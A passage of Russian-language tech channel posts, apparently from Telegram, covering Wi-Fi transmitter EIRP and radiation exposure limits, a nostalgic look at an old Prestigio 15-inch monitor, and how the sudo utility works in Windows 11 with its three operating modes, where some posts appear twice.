Если у нас есть передатчик с мощностью 20 дБм (100 мВт) и антенна с усилением 3 дБи, то ЭИИМ такой системы будет 200 мВт (23 дБм), для передатчика с мощностью 1 Вт ЭИИМ с такой антенной составит 2 Вт.
Таким образом для оборудования имеющего мощность передатчика 1 Вт и антенну с усилением 3-4 дБи мы можем смело получить ЭИИМ 2 - 2,5 Вт. И такое оборудование есть, например, некоторые модели Mikrotik (подчеркнем – именно некоторые, не все).
Закономерный вопрос- насколько это вредно. Мы нашли исследование Роспотребнадзора для домашних роутеров диапазона 2,4 ГГц, которое показало, что излучаемая ими мощность не превышает допустимой на любых расстояниях.
Для оценки воздействия излучения на организм человека используется показатель плотности потока энергии (ППЭ), который измеряется в мкВт/см2, предельно допустимым уровнем (ПДУ) для граждан является 10 мкВт/см2, для работников сферы связи – 18 мкВт/см2.
Максимальное значение ППЭ при котором допускается находиться без средств индивидуальной защиты – 1000 мкВт/см2.
Для расчета времени пребывания в местах с превышением ПДУ ППЭ существует еще один показатель - энергетическая экспозиция потока плотности энергии, предельное значение которой 200 мкВт/см2 в час.
❗️ Т.е. при значении ППЭ в 1000 мкВт/см2 там можно находиться не более 12 минут.
Все это хорошо, но как связать эти значения с мощностью роутера? Мы выполнили упрощенный расчет ППЭ, который показал цифры близкие к значениям полученным Роспотребнадзором и которые, на наш взгляд можно использовать для примерной оценки.
На расстоянии 50 см и ближе ПДУ ППЭ превышают передатчики с мощностью от 300 мВт выше, но если отойти уже на метр, то превышение нормы будет только у передатчика в 2 Вт.
👉 Общее правило просто – ППЭ падает пропорционально квадрату расстояния от антенны передатчика и если не сидеть с ним в обнимку, то даже серьезно превышающие законодательные нормы передатчики не окажут на организм заметного вреда.
При этом наша формула не учитывала наличия препятствий на пути сигнала, многолучевого распространения и отражений. На практике это может как снизить, так и увеличить ППЭ в конкретной точке пространства, но, в общем и целом, вычисления остаются справедливы.
👍32🔥4🥱3❤2
Очередная находка в чулане
Монитор Prestigio P1510, выглядит на сегодняшний день откровенно стремно. Диагональ 15 дюймов, 1024х768 и все такое прочее.
Но когда-то это было… Это было ого-го! Год покупки примерно 2003 – 2004, я как раз ушел из бюджетки и начал нормально зарабатывать в коммерции.
По тем временам это был «последний писк гавайской моды». Честные 15 дюймов, плоский, черный – это черный, компактный, сразу кучу места на рабочем столе освободилось. Ну и друзьям/подругам было что показать.
Да и сам монитор был достаточно неплохой, под этим брендом к нам везли перемаркированные Hyundai Q15.
Посмотрел я на него посмотрел. Да и оставил стоять на лестничной клетке, интересно, как долго он там простоит… Ну да может кому пригодится…
Монитор Prestigio P1510, выглядит на сегодняшний день откровенно стремно. Диагональ 15 дюймов, 1024х768 и все такое прочее.
Но когда-то это было… Это было ого-го! Год покупки примерно 2003 – 2004, я как раз ушел из бюджетки и начал нормально зарабатывать в коммерции.
По тем временам это был «последний писк гавайской моды». Честные 15 дюймов, плоский, черный – это черный, компактный, сразу кучу места на рабочем столе освободилось. Ну и друзьям/подругам было что показать.
Да и сам монитор был достаточно неплохой, под этим брендом к нам везли перемаркированные Hyundai Q15.
Посмотрел я на него посмотрел. Да и оставил стоять на лестничной клетке, интересно, как долго он там простоит… Ну да может кому пригодится…
❤17🔥14👍10🥱4
Sudo в Windows
Мы писали про это осенью прошлого года, но теперь уже официально в релизной версии Windows 11 есть sudo. Для его включения нужно перейти в Система – Для разработчиков и активировать одноименный пункт.
Работает она точно также как ее Linux аналог, только вместо ввода пароля вам нужно подтвердить повышение прав UAC.
Однако есть некоторые особенности ее использования. Утилита может работать в одном из трех режимов:
🔸 В новом окне (forceNewWindow) – это режим работы по умолчанию, в этом случае открывается новое окно с повышенными правами, в котором исполняется вызываемая нами команда.
🔸 Закрытые входные данные (disableInput) – в этом случае процесс с повышенными правами запускается в текущем окне, но он не может принимать на вход никакие данные из этого окна. Т.е. поток ввода для него будет заблокирован.
Это сделано в целях безопасности, чтобы злонамеренные приложения, работающие без повышенных прав, не могли взаимодействовать с процессом, которому были повышены привилегии и передавать ему данные для выполнения.
🔸 Встроенный (normal) – этот режим наиболее похож на работу sudo в Linux, процесс с повышенными привилегиями запускается в том же окне и может получать на вход данные из этого окна, в т.ч. и от приложений с обычными правами.
Режимы работы настраиваются там же где включается sudo - в настройках для разработчиков.
👆 Для Windows 10 утилиты нет и не планируется (что не удивительно, учитывая завершение жизненного цикла продукта).
Мы писали про это осенью прошлого года, но теперь уже официально в релизной версии Windows 11 есть sudo. Для его включения нужно перейти в Система – Для разработчиков и активировать одноименный пункт.
Работает она точно также как ее Linux аналог, только вместо ввода пароля вам нужно подтвердить повышение прав UAC.
Однако есть некоторые особенности ее использования. Утилита может работать в одном из трех режимов:
🔸 В новом окне (forceNewWindow) – это режим работы по умолчанию, в этом случае открывается новое окно с повышенными правами, в котором исполняется вызываемая нами команда.
🔸 Закрытые входные данные (disableInput) – в этом случае процесс с повышенными правами запускается в текущем окне, но он не может принимать на вход никакие данные из этого окна. Т.е. поток ввода для него будет заблокирован.
Это сделано в целях безопасности, чтобы злонамеренные приложения, работающие без повышенных прав, не могли взаимодействовать с процессом, которому были повышены привилегии и передавать ему данные для выполнения.
🔸 Встроенный (normal) – этот режим наиболее похож на работу sudo в Linux, процесс с повышенными привилегиями запускается в том же окне и может получать на вход данные из этого окна, в т.ч. и от приложений с обычными правами.
Режимы работы настраиваются там же где включается sudo - в настройках для разработчиков.
👆 Для Windows 10 утилиты нет и не планируется (что не удивительно, учитывая завершение жизненного цикла продукта).
👍10❤2